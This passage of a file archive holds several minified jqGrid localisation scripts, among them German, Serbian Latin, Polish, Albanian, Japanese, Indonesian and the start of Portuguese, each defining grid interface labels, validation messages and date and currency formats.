erforderlich",number:"Bitte geben Sie eine Zahl ein",minValue:"Wert muss größer oder gleich sein, als ",maxValue:"Wert muss kleiner oder gleich sein, als ",email:"ist keine gültige E-Mail-Adresse",integer:"Bitte geben Sie eine Ganzzahl ein",date:"Bitte geben Sie ein gültiges Datum ein",url:"ist keine gültige URL. Präfix muss eingegeben werden ('http://' oder 'https://')",nodefined:" ist nicht definiert!",novalue:" Rückgabewert ist erforderlich!",customarray:"Benutzerdefinierte Funktion sollte ein Array zurückgeben!",customfcheck:"Benutzerdefinierte Funktion sollte im Falle der benutzerdefinierten Überprüfung vorhanden sein!"}},view:{caption:"Datensatz anzeigen",bClose:"Schließen"},del:{caption:"Löschen",msg:"Ausgewählte Datensätze löschen?",bSubmit:"Löschen",bCancel:"Abbrechen"},nav:{edittext:" ",edittitle:"Ausgewählte Zeile editieren",addtext:" ",addtitle:"Neue Zeile einfügen",deltext:" ",deltitle:"Ausgewählte Zeile löschen",searchtext:" ",searchtitle:"Datensatz suchen",refreshtext:"",refreshtitle:"Tabelle neu laden",alertcap:"Warnung",alerttext:"Bitte Zeile auswählen",viewtext:"",viewtitle:"Ausgewählte Zeile anzeigen",savetext:"",savetitle:"Zeile speihern",canceltext:"",canceltitle:"Zeile abbrechen",selectcaption:"Aktionen..."},col:{caption:"Spalten auswählen",bSubmit:"Speichern",bCancel:"Abbrechen"},errors:{errcap:"Fehler",nourl:"Keine URL angegeben",norecords:"Keine Datensätze zu bearbeiten",model:"colNames und colModel sind unterschiedlich lang!"},formatter:{integer:{thousandsSeparator:".",defaultValue:"0"},number:{decimalSeparator:",",thousandsSeparator:".",decimalPlaces:2,defaultValue:"0,00"},currency:{decimalSeparator:",",thousandsSeparator:".",decimalPlaces:2,prefix:"",suffix:" €",defaultValue:"0,00"},date:{dayNames:["So","Mo","Di","Mi","Do","Fr","Sa","Sonntag","Montag","Dienstag","Mittwoch","Donnerstag","Freitag","Samstag"],monthNames:["Jan","Feb","Mar","Apr","Mai","Jun","Jul","Aug","Sep","Okt","Nov","Dez","Januar","Februar","März","April","Mai","Juni","Juli","August","September","Oktober","November","Dezember"],AmPm:["","","",""],S:function(){return"."},srcformat:"Y-m-d",newformat:"d.m.Y",parseRe:/[#%\\\/:_;.,\t\s-]/,masks:{ISO8601Long:"Y-m-d H:i:s",ISO8601Short:"Y-m-d",ShortDate:"d.m.Y",LongDate:"l, j. F Y",FullDateTime:"l, j. F Y H:i:s",MonthDay:"d F",ShortTime:"H:i",LongTime:"H:i:s",SortableDateTime:"Y-m-d\\TH:i:s",UniversalSortableDateTime:"Y-m-d H:i:sO",YearMonth:"F Y"},reformatAfterEdit:!1,userLocalTime:!1},baseLinkUrl:"",showAction:"",target:"",checkbox:{disabled:!0},idName:"id"},colmenu:{sortasc:"Aufsteigend sortieren",sortdesc:"Absteigend sortieren",columns:"Spalte",filter:"Filter",grouping:"Gruppiere nach",ungrouping:"Gruppierung aufheben",searchTitle:"Erhalten Sie Artikel mit Wert:",freeze:"Einfrieren",unfreeze:"Freigeben",reorder:"Bewegen neu anordnen",hovermenu:"Click for column quick actions"}}});minified/i18n/grid.locale-sr-latin.js000064400000011211151677266200013367 0ustar00!function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","../grid.base"],e):e(jQuery)}(function(e){e.jgrid=e.jgrid||{},e.jgrid.hasOwnProperty("regional")||(e.jgrid.regional=[]),e.jgrid.regional["sr-latin"]={defaults:{recordtext:"Pregled {0} - {1} od {2}",emptyrecords:"Ne postoji nijedan zapis",loadtext:"Učitavanje…",pgtext:"Strana {0} od {1}",savetext:"Saving...",pgfirst:"First Page",pglast:"Last Page",pgnext:"Next Page",pgprev:"Previous Page",pgrecs:"Records per Page",showhide:"Toggle Expand Collapse Grid",pagerCaption:"Grid::Page Settings",pageText:"Page:",recordPage:"Records per Page",nomorerecs:"No more records...",scrollPullup:"Pull up to load more...",scrollPulldown:"Pull down to refresh...",scrollRefresh:"Release to refresh...",valT:"checked",valF:"unchecked",selectLine:"Select row",selectAllLines:"Select all rows"},search:{caption:"Traženje...",Find:"Traži",Reset:"Resetuj",odata:[{oper:"eq",text:"jednako"},{oper:"ne",text:"nije jednako"},{oper:"lt",text:"manje"},{oper:"le",text:"manje ili jednako"},{oper:"gt",text:"veće"},{oper:"ge",text:"veće ili jednako"},{oper:"bw",text:"počinje sa"},{oper:"bn",text:"ne počinje sa"},{oper:"in",text:"je u"},{oper:"ni",text:"nije u"},{oper:"ew",text:"završava sa"},{oper:"en",text:"ne završava sa"},{oper:"cn",text:"sadrži"},{oper:"nc",text:"ne sadrži"},{oper:"nu",text:"is null"},{oper:"nn",text:"is not null"},{oper:"bt",text:"between"}],groupOps:[{op:"AND",text:"sva"},{op:"OR",text:"bilo koje"}],operandTitle:"Click to select search operation.",resetTitle:"Reset Search Value",addsubgrup:"Add subgroup",addrule:"Add rule",delgroup:"Delete group",delrule:"Delete rule",Close:"Close",Operand:"Operand : ",Operation:"Oper : ",filterFor:"filter for"},edit:{addCaption:"Dodaj zapis",editCaption:"Izmeni zapis",bSubmit:"Pošalji",bCancel:"Odustani",bClose:"Zatvori",saveData:"Podatak je izmenjen! Sačuvaj izmene?",bYes:"Da",bNo:"Ne",bExit:"Odustani",msg:{required:"Polje je obavezno",number:"Unesite ispravan broj",minValue:"vrednost mora biti veća od ili jednaka sa ",maxValue:"vrednost mora biti manja ili jednaka sa",email:"nije ispravna email adresa, nije valjda da ne umeš ukucati mail!?",integer:"Unesi celobrojnu vrednost ",date:"Unesite ispravan datum",url:"nije ispravan URL. Potreban je prefiks ('http://' or 'https://')",nodefined:" nije definisan!",novalue:" zahtevana je povratna vrednost!",customarray:"Prilagođena funkcija treba da vrati niz!",customfcheck:"Prilagođena funkcija treba da bude prisutana u slučaju prilagođene provere!"}},view:{caption:"Pogledaj zapis",bClose:"Zatvori"},del:{caption:"Izbrisi",msg:"Izbrisi izabran(e) zapise(e)?",bSubmit:"Izbriši",bCancel:"Odbaci"},nav:{edittext:"",edittitle:"Izmeni izabrani red",addtext:"",addtitle:"Dodaj novi red",deltext:"",deltitle:"Izbriši izabran red",searchtext:"",searchtitle:"Nađi zapise",refreshtext:"",refreshtitle:"Ponovo učitaj podatke",alertcap:"Upozorenje",alerttext:"Izaberite red",viewtext:"",viewtitle:"Pogledaj izabrani red",savetext:"",savetitle:"Save row",canceltext:"",canceltitle:"Cancel row editing",selectcaption:"Actions..."},col:{caption:"Izaberi kolone",bSubmit:"OK",bCancel:"Odbaci"},errors:{errcap:"Greška",nourl:"Nije postavljen URL",norecords:"Nema zapisa za obradu",model:"Dužina modela colNames <> colModel!"},formatter:{integer:{thousandsSeparator:" ",defaultValue:"0"},number:{decimalSeparator:".",thousandsSeparator:" ",decimalPlaces:2,defaultValue:"0.00"},currency:{decimalSeparator:".",thousandsSeparator:" ",decimalPlaces:2,prefix:"",suffix:"",defaultValue:"0.00"},date:{dayNames:["Ned","Pon","Uto","Sre","Čet","Pet","Sub","Nedelja","Ponedeljak","Utorak","Srijeda","Četvrtak","Petak","Subota"],monthNames:["Jan","Feb","Mar","Apr","Maj","Jun","Jul","Avg","Sep","Okt","Nov","Dec","Januar","Februar","Mart","April","Maj","Jun","Jul","Avgust","Septembar","Oktobar","Novembar","Decembar"],AmPm:["am","pm","AM","PM"],S:function(e){return e<11||13<e?["st","nd","rd","th"][Math.min((e-1)%10,3)]:"th"},srcformat:"Y-m-d",newformat:"d/m/Y",parseRe:/[#%\\\/:_;.,\t\s-]/,masks:{ISO8601Long:"Y-m-d H:i:s",ISO8601Short:"Y-m-d",ShortDate:"n/j/Y",LongDate:"l, F d, Y",FullDateTime:"l, F d, Y g:i:s A",MonthDay:"F d",ShortTime:"g:i A",LongTime:"g:i:s A",SortableDateTime:"Y-m-d\\TH:i:s",UniversalSortableDateTime:"Y-m-d H:i:sO",YearMonth:"F, Y"},reformatAfterEdit:!1,userLocalTime:!1},baseLinkUrl:"",showAction:"",target:"",checkbox:{disabled:!0},idName:"id"},colmenu:{sortasc:"Sort Ascending",sortdesc:"Sort Descending",columns:"Columns",filter:"Filter",grouping:"Group By",ungrouping:"Ungroup",searchTitle:"Get items with value that:",freeze:"Freeze",unfreeze:"Unfreeze",reorder:"Move to reorder",hovermenu:"Click for column quick actions"}}});minified/i18n/grid.locale-pl.js000064400000011227151677266200012260 0ustar00!function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","../grid.base"],e):e(jQuery)}(function(e){e.jgrid=e.jgrid||{},e.jgrid.hasOwnProperty("regional")||(e.jgrid.regional=[]),e.jgrid.regional.pl={defaults:{recordtext:"Pokaż {0} - {1} z {2}",emptyrecords:"Brak rekordów do pokazania",loadtext:"Ładowanie...",pgtext:"Strona {0} z {1}",savetext:"Saving...",pgfirst:"First Page",pglast:"Last Page",pgnext:"Next Page",pgprev:"Previous Page",pgrecs:"Records per Page",showhide:"Toggle Expand Collapse Grid",pagerCaption:"Grid::Page Settings",pageText:"Page:",recordPage:"Records per Page",nomorerecs:"No more records...",scrollPullup:"Pull up to load more...",scrollPulldown:"Pull down to refresh...",scrollRefresh:"Release to refresh...",valT:"checked",valF:"unchecked",selectLine:"Select row",selectAllLines:"Select all rows"},search:{caption:"Wyszukiwanie...",Find:"Szukaj",Reset:"Czyść",odata:[{oper:"eq",text:"dokładnie"},{oper:"ne",text:"różne od"},{oper:"lt",text:"mniejsze od"},{oper:"le",text:"mniejsze lub równe"},{oper:"gt",text:"większe od"},{oper:"ge",text:"większe lub równe"},{oper:"bw",text:"zaczyna się od"},{oper:"bn",text:"nie zaczyna się od"},{oper:"in",text:"jest w"},{oper:"ni",text:"nie jest w"},{oper:"ew",text:"kończy się na"},{oper:"en",text:"nie kończy się na"},{oper:"cn",text:"zawiera"},{oper:"nc",text:"nie zawiera"},{oper:"nu",text:"is null"},{oper:"nn",text:"is not null"},{oper:"bt",text:"between"}],groupOps:[{op:"AND",text:"oraz"},{op:"OR",text:"lub"}],operandTitle:"Click to select search operation.",resetTitle:"Reset Search Value",addsubgrup:"Add subgroup",addrule:"Add rule",delgroup:"Delete group",delrule:"Delete rule",Close:"Close",Operand:"Operand : ",Operation:"Oper : ",filterFor:"filter for"},edit:{addCaption:"Dodaj rekord",editCaption:"Edytuj rekord",bSubmit:"Zapisz",bCancel:"Anuluj",bClose:"Zamknij",saveData:"Dane zostały zmienione! Zapisać zmiany?",bYes:"Tak",bNo:"Nie",bExit:"Anuluj",msg:{required:"Pole jest wymagane",number:"Proszę wpisać poprawną liczbę",minValue:"wartość musi być większa lub równa od",maxValue:"wartość musi być mniejsza lub równa od",email:"nie jest poprawnym adresem e-mail",integer:"Proszę wpisać poprawną liczbę",date:"Proszę podaj poprawną datę",url:"jest niewłaściwym adresem URL. Pamiętaj o prefiksie ('http://' lub 'https://')",nodefined:" niezdefiniowane!",novalue:" wymagana jest wartość zwracana!",customarray:"Funkcja niestandardowa powinna zwracać tablicę!",customfcheck:"Funkcja niestandardowa powinna być obecna w przypadku niestandardowego sprawdzania!"}},view:{caption:"Pokaż rekord",bClose:"Zamknij"},del:{caption:"Usuń",msg:"Czy usunąć wybrany rekord(y)?",bSubmit:"Usuń",bCancel:"Anuluj"},nav:{edittext:"",edittitle:"Edytuj wybrany wiersz",addtext:"",addtitle:"Dodaj nowy wiersz",deltext:"",deltitle:"Usuń wybrany wiersz",searchtext:"",searchtitle:"Wyszukaj rekord",refreshtext:"",refreshtitle:"Przeładuj",alertcap:"Uwaga",alerttext:"Proszę wybrać wiersz",viewtext:"",viewtitle:"Pokaż wybrany wiersz",savetext:"",savetitle:"Save row",canceltext:"",canceltitle:"Cancel row editing",selectcaption:"Actions..."},col:{caption:"Pokaż/Ukryj kolumny",bSubmit:"Zatwierdź",bCancel:"Anuluj"},errors:{errcap:"Błąd",nourl:"Brak adresu url",norecords:"Brak danych",model:"Długość colNames <> colModel!"},formatter:{integer:{thousandsSeparator:" ",defaultValue:"0"},number:{decimalSeparator:",",thousandsSeparator:" ",decimalPlaces:2,defaultValue:"0,00"},currency:{decimalSeparator:",",thousandsSeparator:" ",decimalPlaces:2,prefix:"",suffix:" zł",defaultValue:"0,00"},date:{dayNames:["niedz.","pon.","wt.","śr.","czw.","pt.","sob.","niedziela","poniedziałek","wtorek","środa","czwartek","piątek","sobota"],monthNames:["sty","lut","mar","kwi","maj","cze","lip","sie","wrz","paź","lis","gru","styczeń","luty","marzec","kwiecień","maj","czerwiec","lipiec","sierpień","wrzesień","październik","listopad","grudzień"],AmPm:["","","",""],S:function(e){return""},srcformat:"Y-m-d",newformat:"d.m.Y",parseRe:/[#%\\\/:_;.,\t\s-]/,masks:{ISO8601Long:"Y-m-d H:i:s",ISO8601Short:"Y-m-d",ShortDate:"d.m.y",LongDate:"l, j F Y",FullDateTime:"l, j F Y H:i:s",MonthDay:"j F",ShortTime:"H:i",LongTime:"H:i:s",SortableDateTime:"Y-m-d\\TH:i:s",UniversalSortableDateTime:"Y-m-d H:i:sO",YearMonth:"F Y"},reformatAfterEdit:!1,userLocalTime:!1},baseLinkUrl:"",showAction:"",target:"",checkbox:{disabled:!0},idName:"id"},colmenu:{sortasc:"Sort Ascending",sortdesc:"Sort Descending",columns:"Columns",filter:"Filter",grouping:"Group By",ungrouping:"Ungroup",searchTitle:"Get items with value that:",freeze:"Freeze",unfreeze:"Unfreeze",reorder:"Move to reorder",hovermenu:"Click for column quick actions"}}});minified/i18n/grid.locale-sq.js000064400000011605151677266200012270 0ustar00!function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","../grid.base"],e):e(jQuery)}(function(e){e.jgrid=e.jgrid||{},e.jgrid.hasOwnProperty("regional")||(e.jgrid.regional=[]),e.jgrid.regional.sq={defaults:{recordtext:"Shfaq {0} - {1}/{2}",emptyrecords:"Nuk ka rreshta për të shfaqur",loadtext:"Duke u ngarkuar...",savetext:"Duke ruajtur...",pgtext:"Faqja {0}/{1}",pgfirst:"Faqja e parë",pglast:"Faqja e fundit",pgnext:"Faqja tjetër",pgprev:"Faqja mëparshme",pgrecs:"Rreshta për faqe",showhide:"Shpalos ose mbyll tabelën",pagerCaption:"Tabela::Kruskoti i faqes",pageText:"Faqja:",recordPage:"Rreshta për faqe",nomorerecs:"Nuk ka rreshta të tjerë...",scrollPullup:"Tërhiq për lart për të tjerë...",scrollPulldown:"Tërqiq për poshtë për rifreskim...",scrollRefresh:"Lësho për rifreskim...",valT:"checked",valF:"unchecked",selectLine:"Select row",selectAllLines:"Select all rows"},search:{caption:"Kërko...",Find:"Gjej",Reset:"Pastro",odata:[{oper:"eq",text:"baraz"},{oper:"ne",text:"jo baraz"},{oper:"lt",text:"me e vogel"},{oper:"le",text:"me e vogel ose baraz"},{oper:"gt",text:"me e madhe"},{oper:"ge",text:"me e madhe ose baraz"},{oper:"bw",text:"fillon me"},{oper:"bn",text:"nuk fillon me"},{oper:"in",text:"brenda"},{oper:"ni",text:"jo brenda"},{oper:"ew",text:"mbaron me"},{oper:"en",text:"nuk mbaron me"},{oper:"cn",text:"permban"},{oper:"nc",text:"nuk permban"},{oper:"nu",text:"eshte bosh"},{oper:"nn",text:"nuk eshte bosh"},{oper:"bt",text:"between"}],groupOps:[{op:"AND",text:"te gjithe"},{op:"OR",text:"cfaredo"}],operandTitle:"Kliko per te zgjedhur veprimin.",resetTitle:"Fshi vlerat e kerkimit",addsubgrup:"Add subgroup",addrule:"Add rule",delgroup:"Delete group",delrule:"Delete rule",Close:"Close",Operand:"Operand : ",Operation:"Oper : ",filterFor:"filter for"},edit:{addCaption:"Shto rresht",editCaption:"Fshi rresht",bSubmit:"Vendos",bCancel:"Anullo",bClose:"Mbyll",saveData:"Te dhenat jane ndryshuar! Deshironi ti ruani ndryshimet?",bYes:"Po",bNo:"Jo",bExit:"Anullo",msg:{required:"Kjo fushe eshte e detyrueshme",number:"Ju lutem, vendosni nje numer te vlefshem",minValue:"vlera duhet te jete me e madhe ose e njejte me ",maxValue:"vlera duhet te jete me e vogel ose e njejte me",email:"nuk eshte adrese poste elektronike e vlefshme",integer:"Ju lutem, vendosni nje numer te plote te vlefshem",date:"Ju lutem, vendosni nje date te vlefshme",url:"nuk eshte URL e vlefshme. Nevojitet prefiksi ('http://' ose 'https://')",nodefined:" nuk eshte percaktuar!",novalue:" vlera si pergjigje eshte e detyreshme!",customarray:"Funksioni i personalizuar duhet te ktheje nje array!",customfcheck:"unksioni i personalizuar duhet te egzistoje ne rast kontrolli te personalizuar!"}},view:{caption:"Shfaq Rreshtin",bClose:"Mbyll"},del:{caption:"Fshi",msg:"Deshironi te fshini rreshtin/rreshtat e zgjedhur?",bSubmit:"Fshi",bCancel:"Anullo"},nav:{edittext:"",edittitle:"Modifiko rreshtin e zgjedhur",addtext:"",addtitle:"Shto rresht te ri",deltext:"",deltitle:"Fshi rreshtin e zgjedhur",searchtext:"",searchtitle:"Gjej rreshtat",refreshtext:"",refreshtitle:"Ringarko listen",alertcap:"Paralajmerim",alerttext:"Ju lutem, zgjidh nje rresht",viewtext:"",viewtitle:"Shfaq rreshtin e zgjedhur",savetext:"",savetitle:"Ruaj rreshtin",canceltext:"",canceltitle:"Anullo modifikim rreshti",selectcaption:"Veprime..."},col:{caption:"Zgjidh kolona",bSubmit:"Ok",bCancel:"Anullo"},errors:{errcap:"Gabim",nourl:"Nuk eshte percaktuar asnje URL",norecords:"Nuk ka rreshta per perpunim",model:"Gjatesia e emrit te kolones <> modeli i kolones!"},formatter:{integer:{thousandsSeparator:",",defaultValue:"0"},number:{decimalSeparator:".",thousandsSeparator:",",decimalPlaces:2,defaultValue:"0.00"},currency:{decimalSeparator:".",thousandsSeparator:",",decimalPlaces:2,prefix:"",suffix:"",defaultValue:"0.00"},date:{dayNames:["Dje","Hën","Mar","Mër","Enj","Pre","Sht","Djelë","Hënë","Martë","Mërkurë","Enjte","Premte","Shtunë"],monthNames:["Jan","Shk","Mar","Pri","Maj","Qer","Kor","Gus","Sht","Tet","Nën","Dhj","Janar","Shkurt","Mars","Prill","Maj","Qershor","Korrik","Gusht","Shtator","Tetor","Nëntor","Dhjetor"],AmPm:["am","pm","AM","PM"],S:function(e){return e<11||13<e?["st","nd","rd","th"][Math.min((e-1)%10,3)]:"th"},srcformat:"Y-m-d",newformat:"n/j/Y",parseRe:/[#%\\\/:_;.,\t\s-]/,masks:{ISO8601Long:"Y-m-d H:i:s",ISO8601Short:"Y-m-d",ShortDate:"n/j/Y",LongDate:"l, F d, Y",FullDateTime:"l, F d, Y g:i:s A",MonthDay:"F d",ShortTime:"g:i A",LongTime:"g:i:s A",SortableDateTime:"Y-m-d\\TH:i:s",UniversalSortableDateTime:"Y-m-d H:i:sO",YearMonth:"F, Y"},reformatAfterEdit:!1,userLocalTime:!1},baseLinkUrl:"",showAction:"",target:"",checkbox:{disabled:!0},idName:"id"},colmenu:{sortasc:"Sort Ascending",sortdesc:"Sort Descending",columns:"Columns",filter:"Filter",grouping:"Group By",ungrouping:"Ungroup",searchTitle:"Get items with value that:",freeze:"Freeze",unfreeze:"Unfreeze",reorder:"Move to reorder",hovermenu:"Click for column quick actions"}}});minified/i18n/grid.locale-ja.js000064400000012243151677266200012236 0ustar00!function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","../grid.base"],e):e(jQuery)}(function(e){e.jgrid=e.jgrid||{},e.jgrid.hasOwnProperty("regional")||(e.jgrid.regional=[]),e.jgrid.regional.ja={defaults:{recordtext:"{2} 件中 {0} - {1} を表示 ",emptyrecords:"表示するレコードがありません",loadtext:"読み込み中...",pgtext:"{1} ページ中 {0} ページ目 ",savetext:"保存中...",pgfirst:"最初のページへ",pglast:"最後のページへ",pgnext:"次のページ",pgprev:"前のページ",pgrecs:"ページ単位のレコード数",showhide:"グリッドの展開/閉じ込み",pagerCaption:"グリッド::ページ設定",pageText:"ページ:",recordPage:"ページ単位のレコード数",nomorerecs:"レコードがありません...",scrollPullup:"上にスクロールして読み込み...",scrollPulldown:"下にスクロールして更新...",scrollRefresh:"放して更新...",valT:"checked",valF:"unchecked",selectLine:"Select row",selectAllLines:"Select all rows"},search:{caption:"検索...",Find:"検索",Reset:"リセット",odata:[{oper:"eq",text:"次に等しい"},{oper:"ne",text:"次に等しくない"},{oper:"lt",text:"次より小さい"},{oper:"le",text:"次に等しいか小さい"},{oper:"gt",text:"次より大きい"},{oper:"ge",text:"次に等しいか大きい"},{oper:"bw",text:"次で始まる"},{oper:"bn",text:"次で始まらない"},{oper:"in",text:"次に含まれる"},{oper:"ni",text:"次に含まれない"},{oper:"ew",text:"次で終わる"},{oper:"en",text:"次で終わらない"},{oper:"cn",text:"次を含む"},{oper:"nc",text:"次を含まない"},{oper:"nu",text:"is null"},{oper:"nn",text:"is not null"},{oper:"bt",text:"between"}],groupOps:[{op:"AND",text:"すべての"},{op:"OR",text:"いずれかの"}],operandTitle:"クリックして検索操作を選択",resetTitle:"検索値をリセット",addsubgrup:"Add subgroup",addrule:"Add rule",delgroup:"Delete group",delrule:"Delete rule",Close:"Close",Operand:"Operand : ",Operation:"Oper : ",filterFor:"filter for"},edit:{addCaption:"レコード追加",editCaption:"レコード編集",bSubmit:"送信",bCancel:"キャンセル",bClose:"閉じる",saveData:"データが変更されています。保存しますか?",bYes:"はい",bNo:"いいえ",bExit:"キャンセル",msg:{required:"この項目は必須です。",number:"正しい数値を入力して下さい。",minValue:"次の値以上で入力して下さい。",maxValue:"次の値以下で入力して下さい。",email:"e-mailが正しくありません。",integer:"正しい整数値を入力して下さい。",date:"正しい値を入力して下さい。",url:"は有効なURLではありません。プレフィックスが必要です。 ('http://' または 'https://')",nodefined:" が定義されていません",novalue:" 戻り値が必要です",customarray:"カスタム関数は配列を返す必要があります",customfcheck:"カスタム検証にはカスタム関数が必要です"}},view:{caption:"レコードを表示",bClose:"閉じる"},del:{caption:"削除",msg:"選択したレコードを削除しますか?",bSubmit:"削除",bCancel:"キャンセル"},nav:{edittext:" ",edittitle:"選択した行を編集",addtext:" ",addtitle:"行を新規追加",deltext:" ",deltitle:"選択した行を削除",searchtext:" ",searchtitle:"レコード検索",refreshtext:"",refreshtitle:"グリッドをリロード",alertcap:"警告",alerttext:"行を選択して下さい。",viewtext:"",viewtitle:"選択した行を表示",savetext:"",savetitle:"列を保存",canceltext:"",canceltitle:"列の編集をキャンセル",selectcaption:"アクション..."},col:{caption:"列を表示/隠す",bSubmit:"送信",bCancel:"キャンセル"},errors:{errcap:"エラー",nourl:"URLが設定されていません。",norecords:"処理対象のレコードがありません。",model:"colNamesの長さがcolModelと一致しません。"},formatter:{integer:{thousandsSeparator:",",defaultValue:"0"},number:{decimalSeparator:".",thousandsSeparator:",",decimalPlaces:2,defaultValue:"0.00"},currency:{decimalSeparator:".",thousandsSeparator:",",decimalPlaces:0,prefix:"",suffix:"",defaultValue:"0"},date:{dayNames:["日","月","火","水","木","金","土","日","月","火","水","木","金","土"],monthNames:["1","2","3","4","5","6","7","8","9","10","11","12","1月","2月","3月","4月","5月","6月","7月","8月","9月","10月","11月","12月"],AmPm:["am","pm","AM","PM"],S:function(e){return"番目"},srcformat:"Y-m-d",newformat:"d/m/Y",parseRe:/[#%\\\/:_;.,\t\s-]/,masks:{ISO8601Long:"Y-m-d H:i:s",ISO8601Short:"Y-m-d",ShortDate:"n/j/Y",LongDate:"l, F d, Y",FullDateTime:"l, F d, Y g:i:s A",MonthDay:"F d",ShortTime:"g:i A",LongTime:"g:i:s A",SortableDateTime:"Y-m-d\\TH:i:s",UniversalSortableDateTime:"Y-m-d H:i:sO",YearMonth:"F, Y"},reformatAfterEdit:!1,userLocalTime:!1},baseLinkUrl:"",showAction:"",target:"",checkbox:{disabled:!0},idName:"id"},colmenu:{sortasc:"Sort Ascending",sortdesc:"Sort Descending",columns:"Columns",filter:"Filter",grouping:"Group By",ungrouping:"Ungroup",searchTitle:"Get items with value that:",freeze:"Freeze",unfreeze:"Unfreeze",reorder:"Move to reorder",hovermenu:"Click for column quick actions"}}});minified/i18n/grid.locale-id.js000064400000011173151677266200012241 0ustar00!function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","../grid.base"],e):e(jQuery)}(function(e){e.jgrid=e.jgrid||{},e.jgrid.hasOwnProperty("regional")||(e.jgrid.regional=[]),e.jgrid.regional.id={defaults:{recordtext:"Data {0} - {1} dari {2}",emptyrecords:"Tidak ada data",loadtext:"Memuat...",pgtext:"Halaman {0} dari {1}",savetext:"Saving...",pgfirst:"First Page",pglast:"Last Page",pgnext:"Next Page",pgprev:"Previous Page",pgrecs:"Records per Page",showhide:"Toggle Expand Collapse Grid",pagerCaption:"Grid::Page Settings",pageText:"Page:",recordPage:"Records per Page",nomorerecs:"No more records...",scrollPullup:"Pull up to load more...",scrollPulldown:"Pull down to refresh...",scrollRefresh:"Release to refresh...",valT:"checked",valF:"unchecked",selectLine:"Select row",selectAllLines:"Select all rows"},search:{caption:"Pencarian",Find:"Cari !",Reset:"Segarkan",odata:[{oper:"eq",text:"sama dengan"},{oper:"ne",text:"tidak sama dengan"},{oper:"lt",text:"kurang dari"},{oper:"le",text:"kurang dari atau sama dengan"},{oper:"gt",text:"lebih besar"},{oper:"ge",text:"lebih besar atau sama dengan"},{oper:"bw",text:"dimulai dengan"},{oper:"bn",text:"tidak dimulai dengan"},{oper:"in",text:"di dalam"},{oper:"ni",text:"tidak di dalam"},{oper:"ew",text:"diakhiri dengan"},{oper:"en",text:"tidak diakhiri dengan"},{oper:"cn",text:"mengandung"},{oper:"nc",text:"tidak mengandung"},{oper:"nu",text:"is null"},{oper:"nn",text:"is not null"},{oper:"bt",text:"between"}],groupOps:[{op:"AND",text:"all"},{op:"OR",text:"any"}],operandTitle:"Click to select search operation.",resetTitle:"Reset Search Value",addsubgrup:"Add subgroup",addrule:"Add rule",delgroup:"Delete group",delrule:"Delete rule",Close:"Close",Operand:"Operand : ",Operation:"Oper : ",filterFor:"filter for"},edit:{addCaption:"Tambah Data",editCaption:"Sunting Data",bSubmit:"Submit",bCancel:"Tutup",bClose:"Tutup",saveData:"Data telah berubah! Simpan perubahan?",bYes:"Ya",bNo:"Tidak",bExit:"Tutup",msg:{required:"kolom wajib diisi",number:"hanya nomer yang diperbolehkan",minValue:"kolom harus lebih besar dari atau sama dengan",maxValue:"kolom harus lebih kecil atau sama dengan",email:"alamat e-mail tidak valid",integer:"hanya nilai integer yang diperbolehkan",date:"nilai tanggal tidak valid",url:"Bukan URL yang valid. Harap gunakan ('http://' or 'https://')",nodefined:" belum didefinisikan!",novalue:" return value is required!",customarray:"Custom function should return array!",customfcheck:"Custom function should be present in case of custom checking!"}},view:{caption:"Menampilkan data",bClose:"Tutup"},del:{caption:"Hapus",msg:"Hapus data terpilih?",bSubmit:"Hapus",bCancel:"Batalkan"},nav:{edittext:"",edittitle:"Sunting data terpilih",addtext:"",addtitle:"Tambah baris baru",deltext:"",deltitle:"Hapus baris terpilih",searchtext:"",searchtitle:"Temukan data",refreshtext:"",refreshtitle:"Segarkan Grid",alertcap:"Warning",alerttext:"Harap pilih baris",viewtext:"",viewtitle:"Tampilkan baris terpilih",savetext:"",savetitle:"Save row",canceltext:"",canceltitle:"Cancel row editing",selectcaption:"Actions..."},col:{caption:"Pilih Kolom",bSubmit:"Ok",bCancel:"Batal"},errors:{errcap:"Error",nourl:"Tidak ada url yang diset",norecords:"Tidak ada data untuk diproses",model:"Lebar dari colNames <> colModel!"},formatter:{integer:{thousandsSeparator:".",defaultValue:"0"},number:{decimalSeparator:",",thousandsSeparator:".",decimalPlaces:2,defaultValue:"0"},currency:{decimalSeparator:",",thousandsSeparator:".",decimalPlaces:2,prefix:"Rp. ",suffix:"",defaultValue:"0"},date:{dayNames:["Ming","Sen","Sel","Rab","Kam","Jum","Sab","Minggu","Senin","Selasa","Rabu","Kamis","Jumat","Sabtu"],monthNames:["Jan","Feb","Mar","Apr","Mei","Jun","Jul","Agu","Sep","Okt","Nov","Des","Januari","Februari","Maret","April","Mei","Juni","Juli","Agustus","September","Oktober","November","Desember"],AmPm:["am","pm","AM","PM"],S:function(e){return e<11||13<e?["st","nd","rd","th"][Math.min((e-1)%10,3)]:"th"},srcformat:"Y-m-d",newformat:"n/j/Y",parseRe:/[#%\\\/:_;.,\t\s-]/,masks:{ISO8601Long:"Y-m-d H:i:s",ISO8601Short:"Y-m-d",ShortDate:"n/j/Y",LongDate:"l, F d, Y",FullDateTime:"l, F d, Y g:i:s A",MonthDay:"F d",ShortTime:"g:i A",LongTime:"g:i:s A",SortableDateTime:"Y-m-d\\TH:i:s",UniversalSortableDateTime:"Y-m-d H:i:sO",YearMonth:"F, Y"},reformatAfterEdit:!1,userLocalTime:!1},baseLinkUrl:"",showAction:"",target:"",checkbox:{disabled:!0},idName:"id"},colmenu:{sortasc:"Sort Ascending",sortdesc:"Sort Descending",columns:"Columns",filter:"Filter",grouping:"Group By",ungrouping:"Ungroup",searchTitle:"Get items with value that:",freeze:"Freeze",unfreeze:"Unfreeze",reorder:"Move to reorder",hovermenu:"Click for column quick actions"}}});minified/i18n/grid.locale-pt.js000064400000011133151677266200012264 0ustar00!function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","../grid.base"],e):e(jQuery)}(function(e){e.jgrid=e.jgrid||{},e.jgrid.hasOwnProperty("regional")||(e.jgrid.regional=[]),e.jgrid.regional.pt={defaults:{recordtext:"View {0} - {1} of {2}",emptyrecords:"No records to view",loadtext:"A carregar...",pgtext:"Página {0} de {1}",savetext:"Saving...",pgfirst:"First Page",pglast:"Last Page",pgnext:"Next Page",pgprev:"Previous Page",pgrecs:"Records per Page",showhide:"Toggle Expand Collapse Grid",pagerCaption:"Grid::Page Settings",pageText:"Page:",recordPage:"Records per Page",nomorerecs:"No more 